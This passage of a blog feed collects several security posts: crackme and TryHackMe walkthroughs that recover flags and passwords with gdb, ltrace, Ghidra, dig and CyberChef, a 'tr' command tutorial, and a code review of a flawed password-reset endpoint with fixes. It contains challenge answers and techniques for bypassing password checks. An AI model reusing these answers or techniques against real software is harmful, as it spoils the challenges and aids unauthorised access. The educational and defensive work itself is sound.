below.</p><pre>info functions </pre><p>For those that have been into programming we, can easily spot the “strcmp”,now what does this mean?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*Qoa5Ni5MOao-2HD3jfV6ZA.png" /></figure><h3>&gt; What is strcmp()?</h3><p>strcmp() is a <strong>string comparison function</strong> in the C standard library.<br> It lives in:</p><pre>#include &lt;string.h&gt;</pre><h3>&gt; Purpose</h3><p>strcmp() is used to <strong>compare two C strings (character arrays)</strong>.</p><ul><li>It checks the strings <strong>character by character</strong>.</li><li>The comparison is <strong>lexicographical</strong> (like dictionary order, using ASCII values).</li></ul><p>So now we type in the command</p><p><strong>“b *0x0000000000400520”</strong></p><p>What does this mean?</p><ul><li>b = breakpoint</li><li>* = raw memory address</li><li>0x0000000000400520 = the start address of strcmp@plt</li></ul><p>So this tells GDB: <strong>“Pause execution whenever the program calls </strong><strong>strcmp through the PLT.”</strong></p><p>Note: You can always read about registers, memory address and other basic things in Reverse Engineering.</p><h3>&gt; Why Do This?</h3><p>This is very useful when:</p><ul><li>You want to <strong>catch every call</strong> to strcmp inside the program (e.g., in password checks, string matching, etc.).</li><li>You’re <strong>reverse engineering</strong> a binary and don’t know where comparisons happen.</li><li>You don’t have source code, but you can still break on library calls</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*HFjjpk6rDBETWYCKKhOoNQ.png" /></figure><p>Then we run the command</p><pre>info registers </pre><p>Then we should have a similar screen, then we type in the command</p><p>“<strong>x/s rax”</strong></p><p>and then, it loads up the flag for us</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*9oTr-MvYiXJ3o0K7L1a2rw.png" /></figure><h3>&gt; What does x/s register_address do in GDB?</h3><p>~ rax as the register address</p><p>The x command in GDB means <strong>examine memory</strong>.</p><ul><li>x/s → examine as a <strong>string</strong>.</li><li>register_address → the memory address stored inside a register (like $rdi, $rsi, $rax, etc. on x86-64).</li></ul><p>So:</p><pre>(gdb) x/s $rdi</pre><p>means:<br> “Interpret the contents of the memory location stored in register <strong>RDI</strong> as a string and print it.”</p><h3># Crackme 5</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*P0ch7MwbIM_qNQZW8_02LA.png" /></figure><h3>&gt; What is ltrace?</h3><ul><li>ltrace is a Linux tool that <strong>traces library calls</strong> made by a program.</li><li>It shows functions like strcmp(), malloc(), printf(), etc. as they are called at runtime.</li><li>Very useful for debugging, reverse engineering, or just understanding how an ELF binary interacts with shared libraries.</li></ul><h3>&gt; Running ltrace on an ELF file</h3><h3>Basic usage:</h3><pre>ltrace ./program</pre><ul><li>Runs program (an ELF binary).</li><li>Prints all library calls with their arguments and return values.</li></ul><p>I hope this is well explanatory, we got our flag as “OfdlDSA|3tXb32~X3tX@sX`4tXtz”</p><h3># Crackme 6</h3><p>Now we will be making use of a tool called Ghidra, you can downlaod and install it from github</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MM76MOphrM4dI9sIb0CaYA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/331/1*fB29E9pndUMAhDVLR4UlfA.png" /></figure><p>Just like we’ve been doing from the very first, we follow through here and find out that we can’t execute without the appropriate password, so we do as it has been said (Read the source code) and for that we’ll be using Ghidra</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pmNHqHE-yFaNnmDSr-620g.png" /></figure><p>After opening Ghidra and opening the appropriate file we get an interface like this and when we look at the right side we can see the code, looking at the highlighted text”my_secret_test” we can see that it is a function so we go to the left side “symbol tree” and select the functions folder (it holds all the functions that exists in the code)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yPq5ZtftpUVGsyPKrj938A.png" /></figure><p>After selecting the function we want to read we can see that out inout will be broken down and checked if it is correlating with what they have there, so what they have there (right hand tab) is the actual password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*zPbgknn5IygDRawAJXf2GA.png" /></figure><p>1337_pwd</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*xRFLZh3L4MhWkveYJ9FEsg.png" /></figure><p>So we are correct and <strong>1337_pwd </strong>is the answer to the task</p><h3># Crackme 7</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*vBvT5yilV5PpILeMuaKsrA.png" /></figure><p>Similar to the previous task, we’d also be using Ghidra here as well…</p><p>After running it and we’re left running in a loop and then having no other option but to exit, I loaded it into Ghidra.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QG5Dep3aBOjLUPbDo9la9Q.png" /></figure><p>So here, I checked the “main” function and was led to code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dnu6bt5ac4LD2GI6IVRcEg.png" /></figure><p>Reading it, you can see it is a while loop (nested) but, reading through you’d stumble upon an interesting finding</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*f2DAF3V7mbObRrKkfVC9ag.png" /></figure><p>we can see that it is only when we are having that hex as an input to the option, but how do I convert the hex value, I used python</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*1880zSkOO9QD-ma1BAWAZA.png" /></figure><p>Simple! And you get your flag</p><h3># Crackme 8</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*1C7vEBfY8ay7cB_yC931XA.png" /></figure><p>Same here, we also move it into Ghidra</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O1lpNewjbwl-t30bhzaQvQ.png" /></figure><p>Check the main function as well</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xQbX1U6TlgBePKovdZ_EiQ.png" /></figure><p>Read through the source code and discover that the password is meant to be equal to a certain hex, so apply the same trick of the previous task and we’d get our flag. Easy Peasy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*oaabcR1TVnvgd57rNBMORA.png" /></figure><p>Note: The negative signis very important, you can read on why that is avaliable or why it is even possible.</p><p>Thank you for reading!</p><p>Next one!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e7daad7b40c8" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Tryhackme — Dig Dug (Easy)]]></title>
            <link>https://medium.com/@erioluwaalabi/tryhackme-dig-dug-easy-7d2ef11e23ea?source=rss-b25bd285d110------2</link>
            <guid isPermaLink="false">https://medium.com/p/7d2ef11e23ea</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[dns]]></category>
            <dc:creator><![CDATA[SpaceIO]]></dc:creator>
            <pubDate>Tue, 12 Aug 2025 11:31:59 GMT</pubDate>
            <atom:updated>2025-08-12T11:31:59.405Z</atom:updated>
            <content:encoded><![CDATA[<h3>Tryhackme — Dig Dug (Easy)</h3><p>In this challenge you’ll learn about DNS querying (or DNS Lookup)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9EPVo-Eio2V0rVxjPcwWBw.png" /></figure><p>We were given the IP Addr “10.10.130.90” (yours will be different) and also the hostname to be “givemethe flag.com”.</p><p>Now, what is expected of us to do is to perform a DNS lookup and we can do that with the “dig” command or the “nslookup” command as seen below and we get the flag.</p><p>Easy Peasy!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q-pHHlY71QSAWvReYkrtYw.png" /></figure><p>Now, what is the difference between the two?</p><p>They perform the same function but below are some of the differences between the two tools</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ScQ-0ue8Br3vKrpVGsixeQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7d2ef11e23ea" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Linux Command 101: “tr”]]></title>
            <link>https://medium.com/@erioluwaalabi/linux-command-101-tr-635ff794a555?source=rss-b25bd285d110------2</link>
            <guid isPermaLink="false">https://medium.com/p/635ff794a555</guid>
            <category><![CDATA[cybersecurity-awareness]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[SpaceIO]]></dc:creator>
            <pubDate>Sat, 26 Jul 2025 08:36:33 GMT</pubDate>
            <atom:updated>2025-07-26T08:36:33.324Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*apSnv9LsJ0u2g3W-JRcshg.jpeg" /></figure><p>Welcome to the world of Linux text processing! Today we’ll explore the tr command - a powerful yet simple tool that can transform your text in ways you never imagined. We&#39;ll use our sample file to demonstrate everything from basic operations to advanced techniques.</p><h3>What is the tr Command?</h3><p>Think of tr as a character translator. It reads text and changes specific characters according to your instructions. The name stands for &quot;translate&quot; because that&#39;s exactly what it does - it translates one set of characters into another.</p><pre>tr [options] SET1 [SET2]</pre><p>Where:</p><ul><li>SET1: Characters you want to change</li><li>SET2: What you want to change them to</li><li>[options]: Special instructions (we&#39;ll learn these soon)</li></ul><h3>Getting Started: Basic Operations</h3><h3>1. Simple Character Translation</h3><p>Let’s start with the most basic operation — changing one character to another.</p><pre># Change all &#39;a&#39; characters to &#39;X&#39;<br>echo &quot;cat bat rat&quot; | tr &#39;a&#39; &#39;X&#39;<br># Output: cXt bXt rXt</pre><h3>2. Multiple Character Translation</h3><p>You can translate multiple characters at once by listing them in corresponding sets:</p><pre>cat sample.txt | tr &#39;aeiou&#39; &#39;AEIOU&#39;</pre><h3>3. Case Conversion</h3><p>One of the most useful applications is changing text case:</p><pre># Convert to uppercase<br>cat sample.txt | tr &#39;[:lower:]&#39; &#39;[:upper:]&#39;<br><br># Convert to lowercase<br>cat sample.txt | tr &#39;[:upper:]&#39; &#39;[:lower:]&#39;</pre><p>The [:lower:] and [:upper:] are special character classes that represent all lowercase and uppercase letters respectively.</p><h3>Understanding Character Sets</h3><h3>Character Ranges</h3><p>Instead of listing every character, you can use ranges:</p><pre># Change letters a through e to X through Z<br>echo &quot;abcdef&quot; | tr &#39;a-e&#39; &#39;X-Z&#39;<br># Output: XYZdef<br><br># Change digits 1 through 5 to 6 through 0<br>echo &quot;12345&quot; | tr &#39;1-5&#39; &#39;6-0&#39;<br># Output: 67890</pre><h3>Useful Character Classes</h3><p>tr understands several special character classes:</p><pre># [:alnum:] - All letters and numbers<br># [:alpha:] - All letters<br># [:digit:] - All digits (0-9)<br># [:space:] - All whitespace (spaces, tabs, newlines)<br># [:punct:] - All punctuation marks<br># [:upper:] - All uppercase letters<br># [:lower:] - All lowercase letters</pre><h3>Important Options: The Power Tools</h3><h3>The -d Option: Delete Characters</h3><p>Sometimes you want to remove characters entirely:</p><pre># Remove all digits<br>cat sample.txt | tr -d &#39;0-9&#39;<br><br># Remove all punctuation<br>cat sample.txt | tr -d &#39;[:punct:]&#39;<br><br># Remove specific characters<br>cat sample.txt | tr -d &#39;Hh&#39;  # Removes both &#39;H&#39; and &#39;h&#39;</pre><h3>The -s Option: Squeeze Characters</h3><p>This removes repeated characters, keeping only one instance:</p><pre># Fix multiple spaces<br>cat sample.txt | tr -s &#39; &#39;<br><br># Remove repeated letters<br>echo &quot;aaabbbccc&quot; | tr -s &#39;a&#39;<br># Output: abbbccc<br><br># Remove all repeated characters<br>echo &quot;aaabbbccc&quot; | tr -s &#39;abc&#39;<br># Output: abc</pre><h3>The -c Option: Complement (Work with Everything Else)</h3><p>This is like saying “NOT” — work with all characters EXCEPT these:</p><pre># Keep only letters (delete everything that&#39;s NOT a letter)<br>cat sample.txt | tr -cd &#39;[:alpha:]&#39;<br><br># Keep only alphanumeric characters and newlines<br>cat sample.txt | tr -cd &#39;[:alnum:]\n&#39;</pre><h3>Intermediate Examples</h3><h3>1. Cleaning Up Log Files</h3><p>If our sample contains log entries. Let’s clean them:</p><pre># Remove timestamps from log entries<br>cat sample.txt | grep &quot;log&quot; | tr -d &#39;0-9:-&#39;<br><br># Normalize log format<br>cat sample.txt | grep &quot;log&quot; | tr &#39;[:upper:]&#39; &#39;[:lower:]&#39;</pre><h3>2. Preparing Data for Analysis</h3><pre># Extract only alphabetic characters from the entire file<br>cat sample.txt | tr -cd &#39;[:alpha:]\n &#39;<br><br># Remove all numbers and special characters<br>cat sample.txt | tr -cd &#39;[:alpha:][:space:]\n&#39;</pre><h3>3. Formatting Text</h3><pre># Replace all whitespace (spaces, tabs, newlines) with single spaces<br>cat sample.txt | tr &#39;[:space:]&#39; &#39; &#39; | tr -s &#39; &#39;<br><br># Create a clean version with proper spacing<br>cat sample.txt | tr -s &#39; &#39; | tr -s &#39;\n&#39;</pre><h3>Advanced Techniques</h3><h3>1. ROT13 Encryption</h3><p>ROT13 is a simple letter substitution cipher. Here’s how to implement it:</p><pre># ROT13 encryption/decryption<br>cat sample.txt | tr &#39;A-Za-z&#39; &#39;N-ZA-Mn-za-m&#39;</pre><p>This works because it shifts each letter by 13 positions in the alphabet.</p><h3>2. Creating Custom Character Mappings</h3><pre># Create a simple substitution cipher<br>echo &quot;hello world&quot; | tr &#39;abcdefghijklmnopqrstuvwxyz&#39; &#39;zyxwvutsrqponmlkjihgfedcba&#39;<br># This reverses the alphabet!</pre><h3>3. Data Sanitization Pipeline</h3><p>Let’s clean our sample file completely:</p><pre># Remove non-printable characters, normalize spaces, and ensure clean output<br>cat sample.txt | tr -cd &#39;[:print:][:space:]&#39; | tr -s &#39; &#39; | tr -s &#39;\n&#39;</pre><h3>Complex Real-World Examples</h3><h3>1. Password Analysis</h3><p>If our sample contains some “password-like” text. Let’s analyze it:</p><pre># Extract potential passwords (alphanumeric with underscores)<br>cat sample.txt | grep &quot;password\|SECRET&quot; | tr -cd &#39;[:alnum:]_\n&#39;<br><br># Count uppercase letters in sensitive lines<br>cat sample.txt | grep &quot;password\|SECRET&quot; | tr -cd &#39;[:upper:]&#39; | wc -c</pre><h3>2. Email Processing</h3><pre># Extract and clean email addresses<br>cat sample.txt | grep &quot;@&quot; | tr -cd &#39;[:alnum:]@._-\n&#39;</pre><h3>3. Phone Number Normalization</h3><pre># Extract only digits from phone number lines<br>cat sample.txt | grep &quot;phone&quot; | tr -cd &#39;[:digit:]\n&#39;<br># Output: 12345678909876543210</pre><h3>Combining Multiple Operations</h3><p>The real power comes from chaining operations:</p><pre># Complex pipeline: lowercase, remove numbers, squeeze spaces, remove extra lines<br>cat sample.txt | tr &#39;[:upper:]&#39; &#39;[:lower:]&#39; | tr -d &#39;0-9&#39; | tr -s &#39; &#39; | tr -s &#39;\n&#39;<br><br># Another example: clean, then ROT13, then clean again<br>cat sample.txt | tr -cd &#39;[:print:][:space:]&#39; | tr &#39;A-Za-z&#39; &#39;N-ZA-Mn-za-m&#39; | tr -cd &#39;[:print:][:space:]&#39;</pre><h3>Common Pitfalls and Tips</h3><h3>1. Character Set Length</h3><pre># This might not work as expected<br>echo &quot;abc&quot; | tr &#39;abc&#39; &#39;xy&#39;<br># Output: xxy (because &#39;c&#39; gets mapped to &#39;y&#39; - the last character repeats)<br><br># Better approach<br>echo &quot;abc&quot; | tr &#39;abc&#39; &#39;xyz&#39;<br># Output: xyz</pre><h3>2. Handling Special Characters</h3><pre># Always quote or escape special characters<br>echo &quot;hello world&quot; | tr &#39; &#39; &#39;_&#39;        # Good<br>echo hello\ world | tr &#39; &#39; &#39;_&#39;         # Also works</pre><h3>3. Performance Tips</h3><p>For large files, do deletions first:</p><pre># More efficient<br>cat large_file.txt | tr -d &#39;[:cntrl:]&#39; | tr -s &#39; &#39;<br><br># Less efficient<br>cat large_file.txt | tr -s &#39; &#39; | tr -d &#39;[:cntrl:]&#39;</pre><h3>Conclusion</h3><p>The tr command might seem simple, but it&#39;s incredibly powerful for character-level text manipulation. From basic letter substitution to complex data cleaning pipelines, tr is an essential tool in every Linux user&#39;s toolkit.</p><p>Start with the basics:</p><ul><li>Use tr &#39;a&#39; &#39;b&#39; for simple character replacement</li><li>Learn character classes like [:upper:] and [:lower:]</li><li>Master the -d (delete) and -s (squeeze) options</li><li>Practice combining operations in pipelines</li></ul><p>As you become more comfortable, you’ll discover that tr is perfect for:</p><ul><li>Data cleaning and sanitization</li><li>Text preprocessing for other tools</li><li>Simple encryption and encoding</li><li>Log file analysis</li><li>Creating standardized input for scripts</li></ul><p>Remember, tr works character by character, making it fast and efficient for large files. It&#39;s also a perfect example of the Unix philosophy: do one thing well and work well with other tools.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=635ff794a555" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Code Undercover: Unveiling the Secrets of Real-World Bugs]]></title>
            <link>https://medium.com/@erioluwaalabi/code-undercover-unveiling-the-secrets-of-real-world-bugs-1d3e11476098?source=rss-b25bd285d110------2</link>
            <guid isPermaLink="false">https://medium.com/p/1d3e11476098</guid>
            <category><![CDATA[secure-coding]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[coding]]></category>
            <dc:creator><![CDATA[SpaceIO]]></dc:creator>
            <pubDate>Mon, 14 Jul 2025 12:02:59 GMT</pubDate>
            <atom:updated>2025-07-14T12:02:59.663Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Behind every line of code lies potential danger. Here’s how to uncover and fix the hidden secrets.</em></p><p>In the digital age, software applications power everything from our smartphones to global financial systems. While these applications offer incredible functionality, they also harbor hidden vulnerabilities that can be exploited by malicious actors. This article shows you the world of real-world code, uncovering common bugs and security flaws that could compromise your applications.</p><p>Imagine a scenario where a simple password reset endpoint contains multiple vulnerabilities, leaving your users’ data exposed. This isn’t just theoretical; it happens all too often in real-life applications. In this piece, we’ll analyze a real code snippet, identify the bugs, and explore how they can be exploited. We’ll also discuss best practices to secure your code and prevent such vulnerabilities.</p><h3>Key Takeaways:</h3><ul><li>Common Bugs and Security Flaws : Learn to spot typical issues in real-world code.</li><li>Exploitation Scenarios : Understand how these bugs can be exploited by attackers.</li><li>Best Practices : Discover strategies to secure your code and prevent vulnerabilities.</li></ul><p><strong><em>Note: These are basic practices to secure your code…</em></strong></p><p>Let’s dive into the code and uncover the secrets together, this is our code for our use right now;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tpoeaL0kXlqlT3dJL34OTA.jpeg" /></figure><h3><strong>Code Review Summary:</strong></h3><p>Route: <strong>POST /api/auth/reset_password</strong></p><pre>const userId: number | null = req.body?.user_id ? parseInt(req.body.user_id) : null;<br>const tokenHash: string | null = req.body?.token_hash || null;<br>const newPassword: string = req.body?.new_password;</pre><p>It checks for the existence of the user, compares <em>“tokenHash”</em> against <em>“user.password._metadata.token_hash”</em>, and if matched, resets the password.</p><p>Below are the bugs I could find, how itcan be useful for hackers and how to fix them</p><h3>Lack of Token Expiration Check (High)</h3><p><strong>Issues:</strong></p><p>The token used for password reset (“<em>token_hash”</em>) does not have an expiration time check.</p><p><strong>Exploit:</strong></p><p>An attacker who gains access to the leaked/stolen valid token can reuse it definitely can use it over and over if the user never resets the password.</p><p><strong>Fix:</strong></p><p>Include a time stamp or expiry field and validate it:</p><pre>if (Date.now() &gt; user.password._metadata.token_expiry) {<br>  return res.status(400).json({ success: false, message: &#39;Token expired!&#39; });<br>}</pre><h3>Weak Token Comparison (High)</h3><p><strong>Issues:</strong></p><p>The comparison below is vulnerable</p><pre>if (tokenHash === user.password._metadata.token_hash)</pre><p>This is a standard equality chech, which can be timing attacked</p><p><strong>Exploit:</strong></p><p>Attackers can measure response time differences to brute-force correct token bytes(esp. with slow string comparison).</p><p><strong>Fix:</strong></p><p>With NodeJs, you can use <em>“crypto.timingSafeEqual()”</em></p><pre>import crypto from &#39;crypto&#39;;<br><br>const valid = crypto.timingSafeEqual(<br>  Buffer.from(tokenHash || &#39;&#39;),<br>  Buffer.from(user.password._metadata.token_hash)<br>);</pre><h3>No Validation or Sanitization of Input (Medium)</h3><p><strong>Issues:</strong></p><p>Directly using request body without validation</p><pre>const userId = parseInt(req.body.user_id);<br>const tokenHash = req.body.token_hash;<br>const newPassword = req.body.new_password;</pre><p><strong>Exploit:</strong></p><p>Attackers could send invalid data(in this case, malicious data, e.g., overly long passwords or malformed tokens), possibly triggering backend exceptions or even injections vulnerabilities(in NOSQL like Mongo)</p><p><strong>Fix:</strong></p><p>Use a validation Schema like “Joi”, “Zod”, etc…</p><pre>import Joi from &#39;joi&#39;;<br><br>const schema = Joi.object({<br>  user_id: Joi.number().required(),<br>  token_hash: Joi.string().length(64).required(),<br>  new_password: Joi.string().min(8).max(128).required()<br>});</pre><h3>No Rate Limiting / Brute Force Protection (High)</h3><p><strong>Issues:</strong></p><p>No rate limiting allows the hitting of of endpoints multiple times</p><p><strong>Exploit:</strong></p><p>Brute-force <em>“token-hash” </em>using <em>“user-id” </em>(especially if <em>“user-id” </em>is predictable e.g. 1,2,3…).</p><p><strong>Fix:</strong></p><p>Use express-rate-limit or implement IP/user-based throttling:</p><pre>import rateLimit from &#39;express-rate-limit&#39;;<br><br>const resetLimiter = rateLimit({<br>  windowMs: 15 * 60 * 1000,<br>  max: 5,<br>  message: &#39;Too many attempts, please try again later&#39;<br>});<br><br>app.post(&#39;/api/auth/reset_password&#39;, resetLimiter, async (req, res) =&gt; { ... });</pre><h3>Hard Coded Port(3000) — No env config</h3><p><strong>Issue:</strong></p><p>Port number is hardcoded</p><p><strong>Exploit:</strong></p><p>While not a direct security issue, this makes enviroment configuration inflexible and may leak service port info</p><p><strong>Fix:</strong></p><pre>const port = process.env.PORT || 3000;</pre><h3>No Password Strength or Hashing Verification (Critical)</h3><p><strong>Issue:</strong></p><p>Here the code shows that it set new passwords directly without showing that it hashes it.</p><pre>const success = await UpdateUserDoc(userId, &#39;password&#39;, newPassword);</pre><p><strong>Exploit:</strong></p><p>If “<em>UpdateUserDoc” </em>does not hash the password internally, passwords could be stored in plaintext</p><p><strong>Fix:</strong></p><p>Always hash passwords before storing:</p><pre>import bcrypt from &#39;bcrypt&#39;;<br>const hashedPassword = await bcrypt.hash(newPassword, 12);<br>await UpdateUserDoc(userId, &#39;password&#39;, hashedPassword);</pre><h3>Information Disclosure Via Error Messages</h3><p><strong>Issue:</strong></p><p>The error messages expose whether a user exists or not:</p><pre>res.status(400).json({ success: false, message: &#39;User does not exist!&#39; });</pre><p><strong>Exploit:</strong></p><p>This can be used foe user enumerations</p><p><strong>Fix:</strong></p><p>Ensure that the error code is more generic:</p><pre>res.status(400).json({ success: false, message: &#39;Invalid token or user data&#39; });</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1d3e11476098" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tryhackme: Break it(Medium Room)]]></title>
            <link>https://medium.com/@erioluwaalabi/tryhackme-break-it-medium-room-4f0ae044e710?source=rss-b25bd285d110------2</link>
            <guid isPermaLink="false">https://medium.com/p/4f0ae044e710</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cryptography]]></category>
            <dc:creator><![CDATA[SpaceIO]]></dc:creator>
            <pubDate>Mon, 07 Jul 2025 16:47:29 GMT</pubDate>
            <atom:updated>2025-07-07T16:47:29.289Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cy-iA2fyfqtnzR599BqbOw.png" /></figure><p>This room is majorly about Cryptography. So, our best friend here is going to be CyberChef (<a href="https://cyberchef.io/#recipe=From_Base58(&#39;123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz&#39;,true)From_Hex(&#39;Auto&#39;)From_Base64(&#39;A-Za-z0-9%2B/%3D&#39;,true)From_Decimal(&#39;Space&#39;,false)From_Hex(&#39;Auto&#39;)&amp;input=YUU4YVpMOVlZazR2UXQxWmQ3eWF4Vjc3d0NaTmtrRDlEaEVpQW51anFCV1J6eVlwaHpzYjZQVkJadENOUGc5SzRTeGN0cDJkdlY3NnAxUWhvNzNzTERxWHZoRmtOWVE0b3ZHNUdkY1dyUjF3cVRVQ3NOWEJRVGtweEUxNmo5S0txYkdvU3Zhalc0cFpkczhSbTJjTHZ1QXdIeEJ3OUJMYWZ5VVlQNk5LWjl2OGtoazN6TXZEUUdEa2RhYzNFSFV5MTFCREVCRExNM3VNTkpCdnFVS0NwcnpucXZCejhXaHRzdGFwRFZFM0NhbWt5Qk5SWTRkN2k5MmpncDRtZWZ3OG50SEVjaW40a1VIOENYWkpITFVaR3l0Y2JHUE5QYXRyc0dQQ1M1TDdtZlJycU1QYlZZMjFDVERtUXM3cWVzckVMenVoaDdiREhxaDduazFTQXFGY1FqMzdjNTVQeGVqQk1mNWVmUDJKdTdrZjFZd0N1N0FjOVZGVlV0WVFybTMyVUVrV2loajVpMkhBU0FaYUFKMVpXQldMd3lVQkphdjhISDdGd0NBM056cVZkNXZzbVRiR05rM0ZiMkVxZUc1RzFYaG43WlFBSDNSZm1jbnpBOThSVDR3Z3FFTjdqVkhoaUpkWmE1cGd5UzhiQ05DNTZ0WHBuOXNmcnFwTmhvVDNtWDg3aGVUbW42cDV0NEJlY1Q4NVBSZ2V6Qm13SGdDYlU1R1B1bmtpc2JQdG5QMVB4bWtXZ1laNW8yYzlNeXlRRzlvc0V5OEpyU3laUXBFNURIeUhNV1FuS0xLQVFMYXdxNXVLalpKTlFFY3BtcUhLUkRBcFBmSkY0VmpRUGlWU2h5OXFjdUZYRXNBcFVHSjJvRmtINVR6aVZZeHNtZVpTYjV5ZzFxWUo5ak44WEU0VDNHQmg2NEprdDZZVXZERlBHSmgybW9aVzVUalNwS3Q5TTVKZGo5cUYydHdrQVVGRFNaRE5hZEQySG05aVQ2ZkJIbmFvcnR1NEVOY2hGczkxSkZOV2hQMU1vbVJnWWFqOXU">https://cyberchef.io</a>) or you can use your Linux Terminal, but i will be using Cyberchef.</p><p>The table below will be useful for this lab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZB5mD6NkbMF2ClrvXKCFCA.png" /></figure><h3>Task 1.1:</h3><p>MVQXG6K7MJQXGZJTGI======</p><p>Easy, this is in base32. How can you identify base32 from base64? Check the table below.</p><p>Once you are on the page of Cyberchef, search for base32 and add to the recipe, input your value and you get your answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kZRBZXAyiFShPtCCbzwC-g.png" /></figure><h3>Task 1.2:</h3><p>TVJYWEtZVE1NVlBXRVlMVE1WWlE9PT09</p><p>This is in base64, but after decoding I found out the output is in base32, which is commn and expected.</p><p>Base64 -&gt; base32</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-D1wE1F6ZNfhGq_CgSg5fw.png" /></figure><h3>Task 1.3:</h3><p>GM4HOU3VHBAW6OKNJJFW6SS2IZ3VAMTYORFDMUC2G44EQULIJI3WIVRUMNCWI6KGK5XEKZDTN5YU2RT2MR3E45KKI5TXSOJTKZJTC4KRKFDWKZTZOF3TORJTGZTXGNKCOE</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C_7me_pQ11MABilqLHCRTQ.png" /></figure><p>base32 -&gt; base58 -&gt; hex -&gt; base64</p><h3>Task 1.4:</h3><p>HRBUGQDUHFWDIXKUIBWXIJTHIE3DCY3BIE2FKQSZHNDE6MRUIA2TWWDMHRBV2ZKCHQWFCTLPIE2EEJDBIBZCEW3OHUSTOLRCHNFGMVC6IFJXIQ2AHVMVONSBHVOVIM2MHVPV42J4HQVCQ4REIFHVIJ2WHFWDYQSUHROGILJCIFIU23CXHNCEIXK2HRDVSXKOHV2SQJLC</p><p>Base32 -&gt; Base85 -&gt; Base64 -&gt; Base58 -&gt; Base85 -&gt; Base64 -&gt; Base64</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5LYglJFOX6Ca4ACW3yFBJg.png" /></figure><h3>Task 